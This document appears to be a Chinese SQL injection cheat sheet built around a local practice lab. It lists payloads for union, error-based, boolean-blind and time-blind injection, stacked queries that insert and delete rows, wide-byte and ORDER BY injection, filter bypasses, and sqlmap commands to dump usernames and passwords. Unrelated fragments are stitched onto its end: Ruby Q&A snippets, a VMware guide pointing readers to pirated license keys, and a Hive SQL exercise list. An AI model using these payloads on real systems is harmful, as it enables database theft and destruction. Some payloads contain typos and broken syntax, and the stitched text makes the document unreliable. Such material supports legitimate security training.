SQL注入原理
参数用户可控:前端传递给后端的参数内容是用户可以控制的
参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询
当传入的id参数为1' 时,数据库执行的代码如下
select * from users where id=1'
这不符合数据库语法规范,所以会报错。当传入的ID的参数为and 1=1时,执行的语句为
select * from users where id=1 and 1=1
因为1=1为真,且where语句中id=1也为真,所以页面返回id=1相同的结果。当传入ID参数为 and1=2,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果
#判断闭合符
?id=1\
#字符型判断
?id=1' and '1'='1 #页面运行正常
?id=1' and '1'='2 #页面运行不正常
#数字型判断
?id=1' and 1=1 -- - #页面运行正常
?id=1' and 1=2 -- - #页面运行不正常
注入点注入符号
引号型注入 ' 单引号注入 "双引号注入
混合型注入 ') 单引号加括号注入 ")双引号加括号注入
括号注入 ) 括号注入
演示的是字符串注入,通过不同的结果返回,此网站可能存在SQL注入漏洞
?id=1'
?id=1' order by 3
?id=1' order by 4
order by查询的是改数据表的字段数量
访问id=1' order by 3结果与id=1结果相同,访问id=1' order by 4结果与id=1结果不相同
结论:字段数为3
?id=-1' union select 1,2,3
根据字段数构造语句判断回显
#查询当前数据库
union select 1,database(),3
#查询所有数据库
select group_concat(schema_name) from information_schema.schemata
#查询指定数据库所有表数据
select group_concat(table_name) from information_schema.tables where table_schema='security'
#查询指定数据库指定表的全部列数据
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
#查询指定数据库指定表的部分列数据
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
#查询指定数据库指定表的指定列的字段值
select group_concat(username,0x3a,password) from security.users
程序把错误信息输入到页面上,利用报错注入获取数据
' and updatexml(1,concat(0x7e,(select user()),0x7e),1) -- +
使用substr函数来一段段读取输出的内容
substr("123456",1,5) #12345
查询语句与union注入相同,报错只显示一条结果
#获取 列的字段数
id=1' union select 1,2,3 #回显 you are in...
id=1' union select 1,2,3,4
#回显 The used SELECT statements have a different number of columns
#获取当前数据库库名
and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- +
#获取所有数据库库名
and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)--+
and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),32,63),0x7e),1)--+
#获取指定数据库的所有表名
and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)--+
#获取指定数据库的指定表下的列数据
and updatexml(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.column where table_schema='security' and table_name='TKbvbxDK'),1,31),0x7e),1)--+
#获取指定数据库的指定表名指定列下的字段值
and updatexml(1,concat(0x7e,substring((select group_concat(id,0x3a,flag) from security.TKbvbxDK),64,95),0x7e),1)--+
判断数据库长度 length()
' and length(database())>=1 --+
' and substr(database(),1,1)='t' -- +
ord()函数:转换为ascii码
' ord(substr(database(),1,1))=115 -- +
#判断数据库长度
and length(database())=8 --+
and length(database())>=9 --+
#指定字符一位一位判断截取到的字符
and substr(database(),1,1)='a' -- +
and substr(database(),2,1)='q' -- +
#使用ascii码比对截取到的字符
and ascii(substr(database()1,1))=114 -- +
and ascii(substr(database()1,1))=115 -- +
#查询表名
and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1 )='e' -- +
GET注入由于id值本身为真,判断注入点使用and运算符
POST注入uname本身为假,判断注入点使用or运算符
判断闭合方式
and sleep(5) -- -
判断字段数目 3
order by 3
order by 4
if("表达式",条件1,条件2,) if(1=2,1,0)-->0
if(length(database())>=1,sleep(5),1)
sleep(5) #页面加载延迟5秒
if(length(database())>=1,sleep(5),1)
#判断数据库名称
and if(length(database())=1,sleep(5),1) -- -
and if(length(database())=1,sleep(5),1) -- -
#使用subsre函数比对截取到的字符
and if(substr(database(),1,1)='s',sleep(5),1) -- +
#使用ascii码比对截取到的字符
and if(ascii(substr(database(),1,1))=115,sleep(5),1) -- +
#查询当前数据库下的表数据
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=85,sleep(5),1 -- -
#查询当前数据库下的指定表数据的列数据
and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='8LPD9XiO' limit 0,1),1,1))=105,slepp(5),1 -- -
#查询当前数据库下的指定表数据的列数据的字段值
and if(ascii(substr((select group_concat(id,0x3a,flag) from security.8LPD9XiO),1,1))=115,1,sleep(5)) --+
';select if(substr(user(),1,1)='r',sleep(3),1)%23
构造不同的时间注入语句,可以得到完整的数据库的库名,表名,字段名和具体数据
#获得MySQL当前用户
;select if(substr(user(),1,1)='r',sleep(3),1)%23
#获得数据库表名
;select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)%23
#判断注入点 单引号注入
?id=1' and 1=1-- - HTTP/1.1
?id=1' and 1=2-- - HTTP/1.1
#判断字段数目 3
?id=1' order by 3 -- - HTTP/1.1
?id=1' order by 4 -- - HTTP/1.1 #Unknown column '4' in 'order clause'
#判断回显位 2,3
?id=-1' union select 1,2,3 -- - HTTP/1.1
#查询当前数据库
?id=-1' union select 1,database(),3 -- - HTTP/1.1
#查询当前数据库下所有表信息
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),3 -- - HTTP/1.1
#查询当前数据库下指定表下的列信息
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 -- - HTTP/1.1
#插入用户密码数据
?id=1';insert into users(id,username,password) values(66,'aiyou','bucuo') --+
#插入当前数据库数据
?id=1';insert into users(id,username,password) values(67,database(),'bucuo') --+
#查询当前数据库信息下方查询方式同等 ?id=67
----------------------------------------
#插入查询所有表的所有数据,但数据仍显示不全
?id=1';insert into users(id,username,password) values(72,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 ) ,'buuck') --+
#插入当前数据库下的指定表数据
?id=1';insert into users(id,username,password) values(71,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1) ,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1)) --+
#插入当前数据库下的指定表数据的列数据
?id=1';insert into users(id,username,password) values(74,(select column_name from information_schema.columns where table_name="users" limit 13,1) ,(select column_name from information_schema.columns where table_name="users" limit 12,1)) --+
#删除数据
?id=1';delete from users where id=74 and sleep(if((select database())=0x7365637572697479,5,0));
#判断是否存在注入
id=1%df' and 1=1%23
id=1%df' and 1=2%23
#查询字段数量 3
id=1%df' order by 3%23
id=1%df' order by 4%23 #Unknown column '4' in 'order clause'
#union注入
id=-1%df' union select 1,2,3%23
#查询当前数据库名
id=-1%df' union select 1,database(),3%23
#查询所有数据库
select group_concat(schema_name) from information_schema.schemata
#查询当前数据库部分表名
select table_name from information_schema.tables where table_schema=(select database()) limit 0,1
#查询当前数据库所有表名
select group_concat(table_name) from information_schema.tables where table_schema=(select database())
#查询指定数据库指定表名下的部分列名
select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1) limit 0,1
#查询指定数据库指定表名下的所有列名
select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1)
#查询指定数据库指定表名下的所有列名的字段值
id=-1%df' union select 1,(select group_concat(id,flag) from security.GGXSsnCj),3%23
①直接注入语句,?sort=(select )
②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
③利用and,例如?sort=1 and (sql语句)
④rand(true)和rand(false)结果是不一样的,可以利用这个性质注入
?sort=right(version(),1)
#查询当前用户
?sort=(select extractvalue(0x7e,concat(0x7e,user(),0x7e)))
#查询当前数据库
?sort=(select extractvalue(0x7e,concat(0x7e,database(),0x7e)))
#查询当前数据库下的部分表数据
?sort=(select extractvalue(0x7e,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e)))
#查询当前数据库下的指定表的列数据
?sort=(select extractvalue(0x7e,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='TKbvbxDK'),1,31),0x7e)))
?sort=rand(ascii(left(database(),1))=115)
?sort=rand(ascii(left(database(),1))=116)
#查询当前数据库
?sort=1 and (if(length(database())>2,sleep(5),1) ) -- -
#查询当前数据库下的表数据
?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=100, sleep(5), 1)-- +
#查询当前数据库下的指定表数据的列数据
?sort= 1 and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))-- +
#查询当前数据库
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- +
#查询当前数据库下的表
?sort=1 and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) -- +
and And or Or
select -----seselectlect
and-----aandnd
union-----uunionnion
Hex编码、URL编码、宽字节、Unicode编码
| 编码格式 | 编码形式 |
|---|---|
| URL编码 | %66%72%20%31%3d%31(and 1=1) |
| Unicode编码 | n%u0069on |
/**/ 、 ()、+、%20、%09、%0a、0x0a、0x0b、0x0c、0x0d
and or xor 的过滤
and => &&
or => ||
xor => ^
not => !
hex()、 bin()==>ascii()
concat_ws()==>group_concat()
sleep()==>benchmark()
mid()、substr()==>substring()
@@user==user()
@datadir==datadir()
#爆当前数据库
select 1,database(),3
#爆所有数据库
select group_concat(schema_name) from information_schema.schemata
#爆所有表数据
select group_concat(table_name) from information_schema.tables where table_schema='security'
#爆部分表数据
select table_name from information_schema.tables where table_schema='security' limit 0,1
#爆所有字段数据
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
#爆字段数据
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
#爆字段值
select group_concat(username,0x3a,password) from security.users
第一步:判断是否存在注入点
sqlmap.py -u "http://localhost/sql/Less-1/?id=1"
第二步:查询数据库
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --dbs
第三步:查看当前数据库
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --current-db
第四步:列出指定数据库的所有表
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "security" --tables
第五步:读取指定表中的字段名称
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "security" -T users --colunms
第六步:读取指定字段内容
sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "security" -T users -C username,password --dump
我注意到类定义,如果我打开classMyClass,并在不覆盖的情况下添加一些东西我仍然得到了之前定义的原始方法。添加的新语句扩充了现有语句。但是对于方法定义,我仍然想要与类定义相同的行为,但是当我打开defmy_method时似乎,def中的现有语句和end被覆盖了,我需要重写一遍。那么有什么方法可以使方法定义的行为与定义相同,类似于super,但不一定是子类? 最佳答案 我想您正在寻找alias_method:classAalias_method:old_func,:funcdeffuncold_func#similartoca
在VMware16.2.4安装Ubuntu一、安装VMware1.打开VMwareWorkstationPro官网,点击即可进入。2.进入后向下滑动找到Workstation16ProforWindows,点击立即下载。3.下载完成,文件大小615MB,如下图:4.鼠标右击,以管理员身份运行。5.点击下一步6.勾选条款,点击下一步7.先勾选,再点击下一步8.去掉勾选,点击下一步9.点击下一步10.点击安装11.点击许可证12.在百度上搜索VM16许可证,复制填入,然后点击输入即可,亲测有效。13.点击完成14.重启系统,点击是15.双击VMwareWorkstationPro图标,进入虚拟机主
目录第1题连续问题分析:解法:第2题分组问题分析:解法:第3题间隔连续问题分析:解法:第4题打折日期交叉问题分析:解法:第5题同时在线问题分析:解法:第1题连续问题如下数据为蚂蚁森林中用户领取的减少碳排放量iddtlowcarbon10012021-12-1212310022021-12-124510012021-12-134310012021-12-134510012021-12-132310022021-12-144510012021-12-1423010022021-12-154510012021-12-1523.......找出连续3天及以上减少碳排放量在100以上的用户分析:遇到这类
我正在尝试查询我的Rails数据库(Postgres)中的购买表,我想查询时间范围。例如,我想知道在所有日期的下午2点到3点之间进行了多少次购买。此表中有一个created_at列,但我不知道如何在不搜索特定日期的情况下完成此操作。我试过:Purchases.where("created_atBETWEEN?and?",Time.now-1.hour,Time.now)但这最终只会搜索今天与那些时间的日期。 最佳答案 您需要使用PostgreSQL'sdate_part/extractfunction从created_at中提取小时
在添加一些空格以使代码更具可读性时(与上面的代码对齐),我遇到了这个:classCdefx42endendm=C.new现在这将给出“错误数量的参数”:m.x*m.x这将给出“语法错误,意外的tSTAR,期待$end”:2/m.x*m.x这里的解析器到底发生了什么?我使用Ruby1.9.2和2.1.5进行了测试。 最佳答案 *用于运算符(42*42)和参数解包(myfun*[42,42])。当你这样做时:m.x*m.x2/m.x*m.xRuby将此解释为参数解包,而不是*运算符(即乘法)。如果您不熟悉它,参数解包(有时也称为“spl
我想从then子句中访问case语句表达式,即food="cheese"casefoodwhen"dip"then"carrotsticks"when"cheese"then"#{expr}crackers"else"mayo"end在这种情况下,expr是食物的当前值(value)。在这种情况下,我知道,我可以简单地访问变量food,但是在某些情况下,该值可能无法再访问(array.shift等)。除了将expr移出到局部变量然后访问它之外,是否有直接访问caseexpr值的方法?罗亚附注我知道这个具体示例很简单,只是一个示例场景。 最佳答案
我今天看到了一个ruby代码片段。[1,2,3,4,5,6,7].inject(:+)=>28[1,2,3,4,5,6,7].inject(:*)=>5040这里的注入(inject)和之前看到的完全不一样,比如[1,2,3,4,5,6,7].inject{|sum,x|sum+x}请解释一下它是如何工作的? 最佳答案 没有魔法,符号(方法)只是可能的参数之一。这是来自文档:#enum.inject(initial,sym)=>obj#enum.inject(sym)=>obj#enum.inject(initial){|mem
如何在Ruby的if语句中检查bash命令的返回值(true/false)。我想要这样的东西,if("/usr/bin/fswscell>/dev/null2>&1")has_afs="true"elsehas_afs="false"end它会提示以下错误含义,它总是返回true。(irb):5:warning:stringliteralincondition正确的语法是什么?更新:/usr/bin/fswscell寻找afs安装和运行状态。它会抛出这样的字符串,Thisworkstationbelongstocell如果afs没有运行,命令以状态1退出 最
我最近与一位同事讨论了以下Ruby语法:value=ifa==0"foo"elsifa>42"bar"else"fizz"end我个人并没有看到太多这种逻辑,但我的同事指出,这实际上是一种相当普遍的Rubyism。我试着用谷歌搜索这个主题,但没有找到任何文章、页面或SO问题来讨论它,这让我相信这可能是一种非常实际的技术。然而,另一位同事发现语法令人困惑,而是将上面的逻辑写成这样:ifa==0value="foo"elsifa>42value="bar"elsevalue="fizz"end缺点是value=的重复声明和隐式elsenil的丢失,如果我们想使用它的话。这也感觉它与Ruby
这段代码没有像我预期的那样执行:casewhen->{false}then"why?"else"ThisiswhatIexpect"end#=>"why?"这也不是casewhen->(x){false}then"why?"else"ThisiswhatIexpect"end#=>"why?"第一个then子句在两种情况下都被执行,这意味着我提供给when子句的lambda没有被调用。我知道无论when子句的主题是什么,都应该调用大小写相等运算符===。我想知道当没有为case提供参数时,===的另一边会发生什么。我在想它可能是nil,但它不可能是:->{false}===nil#=>